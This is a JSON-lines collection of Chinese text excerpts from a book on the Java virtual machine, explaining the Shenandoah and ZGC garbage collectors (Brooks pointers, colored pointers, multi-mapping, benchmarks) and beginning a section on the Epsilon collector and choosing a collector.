    {"text": "在笔者撰写这部分内容时 [1] ，Oracle仍明确拒绝在OracleJDK 12中支持Shenandoah收集器，并执意在打包OracleJDK时通过条件编译完全排除掉了Shenandoah的代码，换句话说，Shenandoah是一款只有OpenJDK才会包含，而OracleJDK里反而不存在的收集器，“免费开源版”比“收费商业版”功能更多，这是相对罕见的状况 [2] 。"},
    {"text": "最初Shenandoah是由RedHat公司独立发展的新型收集器项目，在2014年RedHat把Shenandoah贡献给了OpenJDK，并推动它成为OpenJDK 12的正式特性之一，也就是后来的JEP 189。"},
    {"text": "这个项目的目标是实现一种能在任何堆内存大小下都可以把垃圾收集的停顿时间限制在十毫秒以内的垃圾收集器，该目标意味着相比CMS和G1，Shenandoah不仅要进行并发的垃圾标记，还要并发地进行对象清理后的整理动作。 从代码历史渊源上讲，比起稍后要介绍的有着Oracle正朔血统的ZGC，Shenandoah反而更像是G1的下一代继承者，它们两者有着相似的堆内存布局，在初始标记、并发标记等许多阶段的处理思路上都高度一致，甚至还直接共享了一部分实现代码，这使得部分对G1的打磨改进和Bug修改会同时反映在Shenandoah之上，而由于Shenandoah加入所带来的一些新特性，也有部分会出现在G1收集器中，譬如在并发失败后作为“逃生门”的Full GC [3] ，G1就是由于合并了Shenandoah的代码才获得多线程Full GC的支持。"},
    {"text": "虽然Shenandoah也是使用基于Region的堆内存布局，同样有着用于存放大对象的Humongous Region，默认的回收策略也同样是优先处理回收价值最大的Region……但在管理堆内存方面，它与G1至少有三个明显的不同之处，最重要的当然是支持并发的整理算法，G1的回收阶段是可以多线程并行的，但却不能与用户线程并发，这点作为Shenandoah最核心的功能稍后笔者会着重讲解。"},
    {"text": "其次，Shenandoah（目前）是默认不使用分代收集的，换言之，不会有专门的新生代Region或者老年代Region的存在，没有实现分代，并不是说分代对Shenandoah没有价值，这更多是出于性价比的权衡，基于工作量上的考虑而将其放到优先级较低的位置上。"},
    {"text": "最后，Shenandoah摒弃了在G1中耗费大量内存和计算资源去维护的记忆集，改用名为“连接矩阵”（Connection Matrix）的全局数据结构来记录跨Region的引用关系，降低了处理跨代指针时的记忆集维护消耗，也降低了伪共享问题（见3.4.4节）的发生概率。"},
    {"text": "连接矩阵可以简单理解为一张二维表格，如果Region N有对象指向Region M，就在表格的N行M列中打上一个标记，如图3-15所示，如果Region 5中的对象Baz引用了Region 3的Foo，Foo又引用了Region 1的Bar，那连接矩阵中的5行3列、3行1列就应该被打上标记。"},
    {"text": "在最新版本的Shenandoah 2.0中，进一步强化了“部分收集”的特性，初始标记之前还有Initial Partial、Concurrent Partial和Final Partial阶段，它们可以不太严谨地理解为对应于以前分代收集中的Minor GC的工作）： 图3-15 Shenandoah收集器的连接矩阵示意图 · 初始标记 （Initial Marking）：与G1一样，首先标记与GC Roots直接关联的对象，这个阶段仍是“Stop The World”的，但停顿时间与堆大小无关，只与GC Roots的数量相关。"},
    {"text": "· 并发标记 （Concurrent Marking）：与G1一样，遍历对象图，标记出全部可达的对象，这个阶段是与用户线程一起并发的，时间长短取决于堆中存活对象的数量以及对象图的结构复杂程度。"},
    {"text": "· 并发清理 （Concurrent Cleanup）：这个阶段用于清理那些整个区域内连一个存活对象都没有找到的Region（这类Region被称为Immediate Garbage Region）。"},
    {"text": "其困难点是在移动对象的同时，用户线程仍然可能不停对被移动的对象进行读写访问，移动对象是一次性的行为，但移动之后整个内存中所有指向该对象的引用都还是旧对象的地址，这是很难一瞬间全部改变过来的。"},
    {"text": "对于并发回收阶段遇到的这些困难，Shenandoah将会通过读屏障和被称为“Brooks Pointers”的转发指针来解决（讲解完Shenandoah整个工作过程之后笔者还要再回头介绍它）。"},
    {"text": "· 初始引用更新 （Initial Update Reference）：并发回收阶段复制对象结束后，还需要把堆中所有指向旧对象的引用修正到复制后的新地址，这个操作称为引用更新。 引用更新的初始化阶段实际上并未做什么具体的处理，设立这个阶段只是为了建立一个线程集合点，确保所有并发回收阶段中进行的收集器线程都已完成分配给它们的对象移动任务而已。"},
    {"text": "· 并发引用更新 （Concurrent Update Reference）：真正开始进行引用更新操作，这个阶段是与用户线程一起并发的，时间长短取决于内存中涉及的引用数量的多少。 并发引用更新与并发标记不同，它不再需要沿着对象图来搜索，只需要按照内存物理地址的顺序，线性地搜索出引用类型，把旧值改为新值即可。"},
    {"text": "· 并发清理 （Concurrent Cleanup）：经过并发回收和引用更新之后，整个回收集中所有的Region已再无存活对象，这些Region都变成Immediate Garbage Regions了，最后再调用一次并发清理过程来回收这些Region的内存空间，供以后新对象分配使用。"},
    {"text": "以上对Shenandoah收集器这九个阶段的工作过程的描述可能拆分得略为琐碎，读者只要抓住其中三个最重要的并发阶段（并发标记、并发回收、并发引用更新），就能比较容易理清Shenandoah是如何运作的了。"},
    {"text": "图3-16 [5] 中黄色的区域代表的是被选入回收集的Region，绿色部分就代表还存活的对象，蓝色就是用户线程可以用来分配对象的内存Region了。"},
    {"text": "图3-16中不仅展示了Shenandoah三个并发阶段的工作过程，还能形象地表示出并发标记阶段如何找出回收对象确定回收集，并发回收阶段如何移动回收集中的存活对象，并发引用更新阶段如何将指向回收集中存活对象的所有引用全部修正，此后回收集便不存在任何引用可达的存活对象了。 图3-16 Shenandoah收集器的工作过程 学习了Shenandoah收集器的工作过程，我们再来聊一下Shenandoah用以支持并行整理的核心概念——Brooks Pointer。"},
    {"text": "1984年，Rodney A.Brooks在论文《Trading Data Space for Reduced Time and Code Space in Real-Time Garbage Collection on Stock Hardware》中提出了使用转发指针（Forwarding Pointer，也常被称为Indirection Pointer）来实现对象移动与用户程序并发的一种解决方案。"},
    {"text": "此前，要做类似的并发操作，通常是在被移动对象原有的内存上设置保护陷阱（Memory Protection Trap），一旦用户程序访问到归属于旧对象的内存空间就会产生自陷中段，进入预设好的异常处理器中，再由其中的代码逻辑把访问转发到复制后的新对象上。"},
    {"text": "虽然确实能够实现对象移动与用户线程并发，但是如果没有操作系统层面的直接支持，这种方案将导致用户态频繁切换到核心态 [6] ，代价是非常大的，不能频繁使用 [7] 。"},
    {"text": "图3-17 Brooks Pointers示意图（一） Brooks提出的新方案不需要用到内存保护陷阱，而是在原有对象布局结构的最前面统一增加一个新的引用字段，在正常不处于并发移动的情况下，该引用指向对象自己，如图3-17所示。"},
    {"text": "从结构上来看，Brooks提出的转发指针与某些早期Java虚拟机使用过的句柄定位（关于对象定位详见第2章）有一些相似之处，两者都是一种间接性的对象访问方式，差别是句柄通常会统一存储在专门的句柄池中，而转发指针是分散存放在每一个对象头前面。"},
    {"text": "有了转发指针之后，有何收益暂且不论，所有间接对象访问技术的缺点都是相同的，也是非常显著的——每次对象访问会带来一次额外的转向开销，尽管这个开销已经被优化到只有一行汇编指令的程度，譬如以下所示： mov r13,QWORD PTR [r12+r14*8-0x8] 不过，毕竟对象定位会被频繁使用到，这仍是一笔不可忽视的执行成本，只是它比起内存保护陷阱的方案已经好了很多。 转发指针加入后带来的收益自然是当对象拥有了一份新的副本时，只需要修改一处指针的值，即旧对象上转发指针的引用位置，使其指向新对象，便可将所有对该对象的访问转发到新的副本上。"},
    {"text": "这样只要旧对象的内存仍然存在，未被清理掉，虚拟机内存中所有通过旧引用地址访问的代码便仍然可用，都会被自动转发到新对象上继续工作，如图3-18所示。"},
    {"text": "需要注意，Brooks形式的转发指针在设计上决定了它是必然会出现多线程竞争问题的，如果收集器线程与用户线程发生的只是并发读取，那无论读到旧对象还是新对象上的字段，返回的结果都应该是一样的，这个场景还可以有一些“偷懒”的处理余地；"},
    {"text": "如果不做任何保护措施，让事件2在事件1、事件3之间发生的话，将导致的结果就是用户线程对对象的变更发生在旧对象上，所以这里必须针对转发指针的访问操作采取同步措施，让收集器线程或者用户线程对转发指针的访问只有其中之一能够成功，另外一个必须等待，避免两者交替进行。"},
    {"text": "转发指针另一点必须注意的是执行频率的问题，尽管通过对象头上的Brooks Pointer来保证并发时原对象与复制对象的访问一致性，这件事情只从原理上看是不复杂的，但是“对象访问”这四个字的分量是非常重的，对于一门面向对象的编程语言来说，对象的读取、写入，对象的比较，为对象哈希值计算，用对象加锁等，这些操作都属于对象访问的范畴，它们在代码中比比皆是，要覆盖全部对象访问操作，Shenandoah不得不同时设置读、写屏障去拦截。"},
    {"text": "之前介绍其他收集器时，或者是用于维护卡表，或者是用于实现并发标记，写屏障已被使用多次，累积了不少的处理任务了，这些写屏障有相当一部分在Shenandoah收集器中依然要被使用到。"},
    {"text": "代码里对象读取的出现频率要比对象写入的频率高出很多，读屏障数量自然也要比写屏障多得多，所以读屏障的使用必须更加谨慎，不允许任何的重量级操作。"},
    {"text": "Shenandoah是本书中第一款使用到读屏障的收集器，它的开发者也意识到数量庞大的读屏障带来的性能开销会是Shenandoah被诟病的关键点之一 [9] ，所以计划在JDK 13中将Shenandoah的内存屏障模型改进为基于引用访问屏障（Load Reference Barrier） [10] 的实现，所谓“引用访问屏障”是指内存屏障只拦截对象中数据类型为引用类型的读写操作，而不去管原生数据类型等其他非引用字段的读写，这能够省去大量对原生类型、对象比较、对象加锁等场景中设置内存屏障所带来的消耗。"},
    {"text": "笔者在此选择展示了一份RedHat官方在2016年所发表的Shenandoah实现论文中给出的应用实测数据，测试内容是使用ElasticSearch对200GB的维基百科数据进行索引 [11] ，如表3-2所示。"},
    {"text": "从结果来看，应该说2016年做该测试时的Shenandoah并没有完全达成预定目标，停顿时间比其他几款收集器确实有了质的飞跃，但也并未实现最大停顿时间控制在十毫秒以内的目标，而吞吐量方面则出现了很明显的下降，其总运行时间是所有测试收集器中最长的。 读者可以从这个官方的测试结果来对Shenandoah的弱项（高运行负担使得吞吐量下降）和强项（低延迟时间）建立量化的概念，并对比一下稍后介绍的ZGC的测试结果。"},
    {"text": "表3-2 Shenandoah在实际应用中的测试数据 Shenandoah收集器作为第一款由非Oracle开发的垃圾收集器，一开始就预计到了缺乏Oracle公司那样富有经验的研发团队可能会遇到很多困难。"},
    {"text": "所以Shenandoah采取了“小步快跑”的策略，将最终目标进行拆分，分别形成Shenandoah 1.0、2.0、3.0……这样的小版本计划，在每个版本中迭代改进，现在已经可以看到Shenandoah的性能在日益改善，逐步接近“Low-Pause”的目标。"},
    {"text": "此外，RedHat也积极拓展Shenandoah的使用范围，将其Backport到JDK 11甚至是JDK 8之上，让更多不方便升级JDK版本的应用也能够享受到垃圾收集器技术发展的最前沿成果。"},
    {"text": "[5] 此例子中的图片引用了Aleksey Shipilev在DEVOXX 2017上的主题演讲：《Shenandoah GC Part I：The Garbage Collector That Could》，地址为https://shipilev.net/talks/devoxx-Nov2017-shenandoah.pdf。"},
    {"text": "[11] 该论文是以2014～2015年间最初版本的Shenandoah为测试对象，在2017年，Christine Flood在Java-One的演讲中，进行了相同测试，Shenandoah的运行时间已经优化到335秒。"},
    {"text": "3.6.2 ZGC收集器 ZGC（“Z”并非什么专业名词的缩写，这款收集器的名字就叫作Z Garbage Collector）是一款在JDK 11中新加入的具有实验性质 [1] 的低延迟垃圾收集器，是由Oracle公司研发的。"},
    {"text": "ZGC和Shenandoah的目标是高度相似的，都希望在尽可能对吞吐量影响不太大的前提下 [2] ，实现在任意堆内存大小下都可以把垃圾收集的停顿时间限制在十毫秒以内的低延迟。 但是ZGC和Shenandoah的实现思路又是差异显著的，如果说RedHat公司开发的Shen-andoah像是Oracle的G1收集器的实际继承者的话，那Oracle公司开发的ZGC就更像是Azul System公司独步天下的PGC（Pauseless GC）和C4（Concurrent Continuously Compacting Collector）收集器的同胞兄弟。"},
    {"text": "早在2005年，运行在Azul VM上的PGC就已经实现了标记和整理阶段都全程与用户线程并发运行的垃圾收集，而运行在Zing VM上的C4收集器是PGC继续演进的产物，主要增加了分代收集支持，大幅提升了收集器能够承受的对象分配速度。"},
    {"text": "无论从算法还是实现原理上来讲，PGC和C4肯定算是一脉相承的，而ZGC虽然并非Azul公司的产品，但也应视为这条脉络上的另一个节点，因为ZGC几乎所有的关键技术上，与PGC和C4都只存在术语称谓上的差别，实质内容几乎是一模一样的。"},
    {"text": "相信到这里读者应该已经对Java虚拟机收集器常见的专业术语都有所了解了，如果不避讳专业术语的话，我们可以给ZGC下一个这样的定义来概括它的主要特征：ZGC收集器是一款基于Region内存布局的，（暂时）不设分代的，使用了读屏障、染色指针和内存多重映射等技术来实现可并发的标记-整理算法的，以低延迟为首要目标的一款垃圾收集器。"},
    {"text": "与Shenandoah和G1一样，ZGC也采用基于Region的堆内存布局，但与它们不同的是，ZGC的Region（在一些官方资料中将它称为Page或者ZPage，本章为行文一致继续称为Region）具有动态性——动态创建和销毁，以及动态的区域容量大小。 在x64硬件平台下，ZGC的Region可以具有如图3-19所示的大、中、小三类容量： ·小型Region（Small Region）：容量固定为2MB，用于放置小于256KB的小对象。 ·中型Region（Medium Region）：容量固定为32MB，用于放置大于等于256KB但小于4MB的对象。 ·大型Region（Large Region）：容量不固定，可以动态变化，但必须为2MB的整数倍，用于放置4MB或以上的大对象。 每个大型Region中只会存放一个大对象，这也预示着虽然名字叫作“大型Region”，但它的实际容量完全有可能小于中型Region，最小容量可低至4MB。 大型Region在ZGC的实现中是不会被重分配（重分配是ZGC的一种处理动作，用于复制对象的收集器阶段，稍后会介绍到）的，因为复制一个大对象的代价非常高昂。"},
    {"text": "Shenandoah使用转发指针和读屏障来实现并发整理，ZGC虽然同样用到了读屏障，但用的却是一条与Shenandoah完全不同，更加复杂精巧的解题思路。"},
    {"text": "从前，如果我们要在对象上存储一些额外的、只供收集器或者虚拟机本身使用的数据，通常会在对象头中增加额外的存储字段（详见2.3.2节的内容），如对象的哈希码、分代年龄、锁记录等就是这样存储的。"},
    {"text": "这样的要求并非不合理的刁难，先不去说并发移动对象可能带来的可访问性问题，此前我们就遇到过这样的要求——追踪式收集算法的标记阶段就可能存在只跟指针打交道而不必涉及指针所引用的对象本身的场景。"},
    {"text": "例如对象标记的过程中需要给对象打上三色标记（见3.4.6节），这些标记本质上就只和对象的引用有关，而与对象本身无关——某个对象只有它的引用关系能决定它存活与否，对象上其他所有的属性都不能够影响它的存活判定结果。"},
    {"text": "HotSpot虚拟机的几种收集器有不同的标记实现方案，有的把标记直接记录在对象头上（如Serial收集器），有的把标记记录在与对象相互独立的数据结构上（如G1、Shenandoah使用了一种相当于堆内存的1/64大小的，称为BitMap的结构来记录标记信息），而ZGC的染色指针是最直接的、最纯粹的，它直接把标记信息记在引用对象的指针上，这时，与其说可达性分析是遍历对象图来标记对象，还不如说是遍历“引用图”来标记“引用”了。"},
    {"text": "在64位系统中，理论可以访问的内存高达16EB（2的64次幂）字节 [3] 。 实际上，基于需求（用不到那么多内存）、性能（地址越宽在做地址转换时需要的页表级数越多）和成本（消耗更多晶体管）的考虑，在AMD64架构 [4] 中只支持到52位（4PB）的地址总线和48位（256TB）的虚拟地址空间，所以目前64位的硬件实际能够支持的最大内存只有256TB。 此外，操作系统一侧也还会施加自己的约束，64位的Linux则分别支持47位（128TB）的进程虚拟地址空间和46位（64TB）的物理地址空间，64位的Windows系统甚至只支持44位（16TB）的物理地址空间。 尽管Linux下64位指针的高18位不能用来寻址，但剩余的46位指针所能支持的64TB内存在今天仍然能够充分满足大型服务器的需要。"},
    {"text": "通过这些标志位，虚拟机可以直接从指针中看到其引用对象的三色标记状态、是否进入了重分配集（即被移动过）、是否只能通过finalize()方法才能被访问到，如图3-20所示。"},
    {"text": "图3-20 染色指针示意 [6] 虽然染色指针有4TB的内存限制，不能支持32位平台，不能支持压缩指针（-XX：+UseCompressedOops）等诸多约束，但它带来的收益也是非常可观的，在JEP 333的描述页 [7] 中，ZGC的设计者Per Liden在“描述”小节里花了全文过半的篇幅来陈述染色指针的三大优势： ·染色指针可以使得一旦某个Region的存活对象被移走之后，这个Region立即就能够被释放和重用掉，而不必等待整个堆中所有指向该Region的引用都被修正后才能清理。"},
    {"text": "这点相比起Shenandoah是一个颇大的优势，使得理论上只要还有一个空闲Region，ZGC就能完成收集，而Shenandoah需要等到引用更新阶段结束以后才能释放回收集中的Region，这意味着堆中几乎所有对象都存活的极端情况，需要1∶1复制对象到新Region的话，就必须要有一半的空闲Region来完成收集。"},
    {"text": "·染色指针可以大幅减少在垃圾收集过程中内存屏障的使用数量，设置内存屏障，尤其是写屏障的目的通常是为了记录对象引用的变动情况，如果将这些信息直接维护在指针中，显然就可以省去一些专门的记录操作。"},
    {"text": "实际上，到目前为止ZGC都并未使用任何写屏障，只使用了读屏障（一部分是染色指针的功劳，一部分是ZGC现在还不支持分代收集，天然就没有跨代引用的问题）。"},
    {"text": "内存屏障对程序运行时性能的损耗在前面章节中已经讲解过，能够省去一部分的内存屏障，显然对程序运行效率是大有裨益的，所以ZGC对吞吐量的影响也相对较低。"},
    {"text": "如果开发了这18位，既可以腾出已用的4个标志位，将ZGC可支持的最大堆内存从4TB拓展到64TB，也可以利用其余位置再存储更多的标志，譬如存储一些追踪信息来让垃圾收集器在移动对象时能将低频次使用的对象移动到不常访问的内存区域。"},
    {"text": "不过，要顺利应用染色指针有一个必须解决的前置问题：Java虚拟机作为一个普普通通的进程，这样随意重新定义内存中某些指针的其中几位，操作系统是否支持？"},
    {"text": "这是很现实的问题，无论中间过程如何，程序代码最终都要转换为机器指令流交付给处理器去执行，处理器可不会管指令流中的指针哪部分存的是标志位，哪部分才是真正的寻址地址，只会把整个指针都视作一个内存地址来对待。"},
    {"text": "这个问题在Solaris/SPARC平台上比较容易解决，因为SPARC硬件层面本身就支持虚拟地址掩码，设置之后其机器指令直接就可以忽略掉染色指针中的标志位。"},
    {"text": "但在x86-64平台上并没有提供类似的黑科技，ZGC设计者就只能采取其他的补救措施了，这里面的解决方案要涉及虚拟内存映射技术，让我们先来复习一下这个x86计算机体系中的经典设计。"},
    {"text": "在远古时代的x86计算机系统里面，所有进程都是共用同一块物理内存空间的，这样会导致不同进程之间的内存无法相互隔离，当一个进程污染了别的进程内存后，就只能对整个系统进行复位后才能得以恢复。"},
    {"text": "在保护模式下，386处理器的全部32条地址寻址线都有效，进程可访问最高也可达4GB的内存空间，但此时已不同于之前实模式下的物理内存寻址了，处理器会使用分页管理机制把线性地址空间和物理地址空间分别划分为大小相同的块，这样的内存块被称为“页”（Page）。"},
    {"text": "通过在线性虚拟空间的页与物理地址空间的页之间建立的映射表，分页管理机制会进行线性地址到物理地址空间的映射，完成线性地址到物理地址的转换 [8] 。"},
    {"text": "如果读者对计算机结构体系了解不多的话，不妨设想这样一个场景来类比：假如你要去“中山一路3号”这个地址拜访一位朋友，根据你所处城市的不同，譬如在广州或者在上海，是能够通过这个“相同的地址”定位到两个完全独立的物理位置的，这时地址与物理位置是一对多关系映射。 不同层次的虚拟内存到物理内存的转换关系可以在硬件层面、操作系统层面或者软件进程层面实现，如何完成地址转换，是一对一、多对一还是一对多的映射，也可以根据实际需要来设计。"},
    {"text": "Linux/x86-64平台上的ZGC使用了多重映射（Multi-Mapping）将多个不同的虚拟内存地址映射到同一个物理内存地址上，这是一种多对一映射，意味着ZGC在虚拟内存中看到的地址空间要比实际的堆内存容量来得更大。"},
    {"text": "把染色指针中的标志位看作是地址的分段符，那只要将这些不同的地址段都映射到同一个物理内存空间，经过多重映射转换后，就可以使用染色指针正常进行寻址了，效果如图3-21所示。"},
    {"text": "图3-21 多重映射下的寻址 在某些场景下，多重映射技术确实可能会带来一些诸如复制大对象时会更容易这样的额外好处，可从根源上讲，ZGC的多重映射只是它采用染色指针技术的伴生产物，并不是专门为了实现其他某种特性需求而去做的。"},
    {"text": "全部四个阶段都是可以并发执行的，仅是两个阶段中间会存在短暂的停顿小阶段，这些小阶段，譬如初始化GC Root直接关联对象的Mark Start，与之前G1和Shenandoah的Initial Mark阶段并没有什么差异，笔者就不再单独解释了。"},
    {"text": "图3-22 ZGC运作过程 · 并发标记 （Concurrent Mark）：与G1、Shenandoah一样，并发标记是遍历对象图做可达性分析的阶段，前后也要经过类似于G1、Shenandoah的初始标记、最终标记（尽管ZGC中的名字不叫这些）的短暂停顿，而且这些停顿阶段所做的事情在目标上也是相类似的。 与G1、Shenandoah不同的是，ZGC的标记是在指针上而不是在对象上进行的，标记阶段会更新染色指针中的Marked 0、Marked 1标志位。"},
    {"text": "· 并发预备重分配 （Concurrent Prepare for Relocate）：这个阶段需要根据特定的查询条件统计得出本次收集过程要清理哪些Region，将这些Region组成重分配集（Relocation Set）。"},
    {"text": "因此，ZGC的重分配集只是决定了里面的存活对象会被重新复制到其他的Region中，里面的Region会被释放，而并不能说回收行为就只是针对这个集合里面的Region进行，因为标记过程是针对全堆的。"},
    {"text": "· 并发重分配 （Concurrent Relocate）：重分配是ZGC执行过程中的核心阶段，这个过程要把重分配集中的存活对象复制到新的Region上，并为重分配集中的每个Region维护一个转发表（Forward Table），记录从旧对象到新对象的转向关系。 得益于染色指针的支持，ZGC收集器能仅从引用上就明确得知一个对象是否处于重分配集之中，如果用户线程此时并发访问了位于重分配集中的对象，这次访问将会被预置的内存屏障所截获，然后立即根据Region上的转发表记录将访问转发到新复制的对象上，并同时修正更新该引用的值，使其直接指向新对象，ZGC将这种行为称为指针的“自愈”（Self-Healing）能力。 这样做的好处是只有第一次访问旧对象会陷入转发，也就是只慢一次，对比Shenandoah的Brooks转发指针，那是每次对象访问都必须付出的固定开销，简单地说就是每次都慢，因此ZGC对用户程序的运行时负载要比Shenandoah来得更低一些。 还有另外一个直接的好处是由于染色指针的存在，一旦重分配集中某个Region的存活对象都复制完毕后，这个Region就可以立即释放用于新对象的分配（但是转发表还得留着不能释放掉），哪怕堆中还有很多指向这个对象的未更新指针也没有关系，这些旧指针一旦被使用，它们都是可以自愈的。 · 并发重映射 （Concurrent Remap）：重映射所做的就是修正整个堆中指向重分配集中旧对象的所有引用，这一点从目标角度看是与Shenandoah并发引用更新阶段一样的，但是ZGC的并发重映射并不是一个必须要“迫切”去完成的任务，因为前面说过，即使是旧引用，它也是可以自愈的，最多只是第一次使用时多一次转发和修正操作。"},
    {"text": "因此，ZGC很巧妙地把并发重映射阶段要做的工作，合并到了下一次垃圾收集循环中的并发标记阶段里去完成，反正它们都是要遍历所有对象的，这样合并就节省了一次遍历对象图 [9] 的开销。"},
    {"text": "ZGC的设计理念与Azul System公司的PGC和C4收集器一脉相承 [10] ，是迄今垃圾收集器研究的最前沿成果，它与Shenandoah一样做到了几乎整个收集过程都全程可并发，短暂停顿也只与GC Roots大小相关而与堆内存大小无关，因而同样实现了任何堆上停顿都小于十毫秒的目标。 相比G1、Shenandoah等先进的垃圾收集器，ZGC在实现细节上做了一些不同的权衡选择，譬如G1需要通过写屏障来维护记忆集，才能处理跨代指针，得以实现Region的增量回收。"},
    {"text": "ZGC就完全没有使用记忆集，它甚至连分代都没有，连像CMS中那样只记录新生代和老年代间引用的卡表也不需要，因而完全没有用到写屏障，所以给用户线程带来的运行负担也要小得多。"},
    {"text": "可是，必定要有优有劣才会称作权衡，ZGC的这种选择 [11] 也限制了它能承受的对象分配速率不会太高，可以想象以下场景来理解ZGC的这个劣势：ZGC准备要对一个很大的堆做一次完整的并发收集，假设其全过程要持续十分钟以上（请读者切勿混淆并发时间与停顿时间，ZGC立的Flag是停顿时间不超过十毫秒），在这段时间里面，由于应用的对象分配速率很高，将创造大量的新对象，这些新对象很难进入当次收集的标记范围，通常就只能全部当作存活对象来看待——尽管其中绝大部分对象都是朝生夕灭的，这就产生了大量的浮动垃圾。 如果这种高速分配持续维持的话，每一次完整的并发收集周期都会很长，回收到的内存空间持续小于期间并发产生的浮动垃圾所占的空间，堆中剩余可腾挪的空间就越来越小了。"},
    {"text": "但是若要从根本上提升ZGC能够应对的对象分配速率，还是需要引入分代收集，让新生对象都在一个专门的区域中创建，然后专门针对这个区域进行更频繁、更快的收集。"},
    {"text": "由于摩尔定律逐渐失效，现代处理器因频率发展受限转而向多核方向发展，以前原本在北桥芯片中的内存控制器也被集成到了处理器内核中，这样每个处理器核心所在的裸晶（DIE） [12] 都有属于自己内存管理器所管理的内存，如果要访问被其他处理器核心管理的内存，就必须通过Inter-Connect通道来完成，这要比访问处理器的本地内存慢得多。"},
    {"text": "在NUMA架构下，ZGC收集器会优先尝试在请求线程当前所处的处理器的本地内存上分配对象，以保证高效内存访问。 在ZGC之前的收集器就只有针对吞吐量设计的Parallel Scavenge支持NUMA内存分配 [13] ，如今ZGC也成为另外一个选择。"},
    {"text": "在性能方面，尽管目前还处于实验状态，还没有完成所有特性，稳定性打磨和性能调优也仍在进行，但即使是这种状态下的ZGC，其性能表现已经相当亮眼，从官方给出的测试结果 [14] 来看，用“令人震惊的、革命性的ZGC”来形容都不为过。"},
    {"text": "在ZGC的“弱项”吞吐量方面，以低延迟为首要目标的ZGC已经达到了以高吞吐量为目标Parallel Scavenge的99%，直接超越了G1。 如果将吞吐量测试设定为面向SLA（Service Level Agreements）应用的“Critical Throughput”的话 [16] ，ZGC的表现甚至还反超了Parallel Scavenge收集器。"},
    {"text": "不论是平均停顿，还是95%停顿、99%停顿、99.9%停顿，抑或是最大停顿时间，ZGC均能毫不费劲地控制在十毫秒之内，以至于把它和另外两款停顿数百近千毫秒的收集器放到一起对比，就几乎显示不了ZGC的柱状条（图3-24a），必须把结果的纵坐标从线性尺度调整成对数尺度（图3-24b，纵坐标轴的尺度是对数增长的）才能观察到ZGC的测试结果。"},
    {"text": "图3-23 ZGC的吞吐量测试 图3-24 ZGC的停顿时间测试 ZGC原本是Oracle作为一项商业特性（如同JFR、JMC这些功能）来设计和实现的，只不过在它横空出世的JDK 11时期，正好适逢Oracle调整许可证授权，把所有商业特性都开源给了OpenJDK（详情见第1章Java发展史），所以用户对其商业性并没有明显的感知。"},
    {"text": "ZGC有着令所有开发人员趋之若鹜的优秀性能，让以前大多数人只是听说，但从未用过的“Azul式的垃圾收集器”一下子飞入寻常百姓家，笔者相信它完全成熟之后，将会成为服务端、大内存、低延迟应用的首选收集器的有力竞争者。 [1] 这里的“实验性质”特指ZGC目前尚未具备全部商用收集器应有的特征，如暂不提供全平台的支持（目前仅支持Linux/x86-64），暂不支持类卸载（JDK 11时不支持，JDK 12的ZGC已经支持），暂不支持新的Graal编译器配合工作等，但这些局限主要是人力资源与工作量上的限制，可能读者在阅读到这部分内容的时候已经有了新的变化。"},
    {"text": "不过根据Oracle公开的现阶段SPECjbb 2015测试结果来看，ZGC在这方面要比Shenandoah优秀得多，测得的吞吐量居然比G1还高，甚至已经接近了Parallel Scavenge的成绩。"},
    {"text": "[4] AMD64这个名字的意思不是指只有AMD的处理器使用，它就是现在主流的x86-64架构，由于Intel Itanium的失败，现行的64位标准是由AMD公司率先制定的，Intel通过交叉授权获得该标准的授权，所以叫作AMD64。"},
    {"text": "[5] JDK 13计划是要扩展到最大支持16TB的，本章撰写时JDK 13尚未正式发布，还没有明确可靠的信息，所以这里按照ZGC目前的状态来介绍。"},
    {"text": "[6] 此图片以及后续关于ZGC执行阶段的几张图片，均来自Per Liden在Jfokus VM 2018大会上的演讲：《The Z Garbage Collector：Low Latency GC for OpenJDK》。"},
    {"text": "[8] 实际上现代的x86操作系统中的虚拟地址是操作系统加硬件两级翻译的，在进程中访问的逻辑地址要通过MMU中的分段单元翻译为线性地址，然后再通过分页单元翻译成物理地址。"},
    {"text": "3.7 选择合适的垃圾收集器 HotSpot虚拟机提供了种类繁多的垃圾收集器，选择太多反而令人踌躇难决，若只挑最先进的显然不可能满足全部应用场景，但只用一句“必须因地制宜，按需选用”又未免有敷衍的嫌疑，本节我们就来探讨一下如何选择合适的垃圾收集器。 3.7.1 Epsilon收集器 在G1、Shenandoah或者ZGC这些越来越复杂、越来越先进的垃圾收集器相继出现的同时，也有一个“反其道而行”的新垃圾收集器出现在JDK 11的特征清单中——Epsilon，这是一款以不能够进行垃圾收集为“卖点”的垃圾收集器，这种话听起来第一感觉就十分违反逻辑，这种“不干活”的收集器要它何用？ Epsilon收集器由RedHat公司在JEP 318中提出，在此提案里Epsilon被形容成一个无操作的收集器（A No-Op Garbage Collector），而事实上只要Java虚拟机能够工作，垃圾收集器便不可能是真正“无操作”的。原因是“垃圾收集器”这个名字并不能形容它全部的职责，更贴切的名字应该是本书为这一部分所取的标题——“自动内存管理子系统”。一个垃圾收集器除了垃圾收集这个本职工作之外，它还要负责堆的管理与布局、对象的分配、与解释器的协作、与编译器的协作、与监控子系统协作等职责，其中至少堆的管理和对象的分配这部分功能是Java虚拟机能够正常运作的必要支持，是一个最小化功能的垃圾收集器也必须实现的内容。从JDK 10开始，为了隔离垃圾收集器与Java虚拟机解释、编译、监控等子系统的关系，RedHat提出了垃圾收集器的统一接口，即JEP 304提案，Epsilon是这个接口的有效性验证和参考实现，同时也用于需要剥离垃圾收集器影响的性能测试和压力测试。 在实际生产环境中，不能进行垃圾收集的Epsilon也仍有用武之地。很长一段时间以来，Java技术体系的发展重心都在面向长时间、大规模的企业级应用和服务端应用，尽管也有移动平台（指Java ME而不是Android）和桌面平台的支持，但使用热度上与前者相比要逊色不少。可是近年来大型系统从传统单体应用向微服务化、无服务化方向发展的趋势已越发明显，Java在这方面比起Golang等后起之秀来确实有一些先天不足，使用率正渐渐下降。传统Java有着内存占用较大，在容器中启动时间长，即时编译需要缓慢优化等特点，这对大型应用来说并不是什么太大的问题，但对短时间、小规模的服务形式就有诸多不适。为了应对新的技术潮流，最近几个版本的JDK逐渐加入了提前编译、面向应用的类数据共享等支持。Epsilon也是有着类似的目标，如果读者的应用只要运行数分钟甚至数秒，只要Java虚拟机能正确分配内存，在堆耗尽之前就会退出，那显然运行负载极小、没有任何回收行为的Epsilon便是很恰当的选择。 3.7.2 收集器的权衡 如果算上Epsilon，本书中已经介绍过十款HotSpot虚拟机的垃圾收集器了，此外还涉及Azul 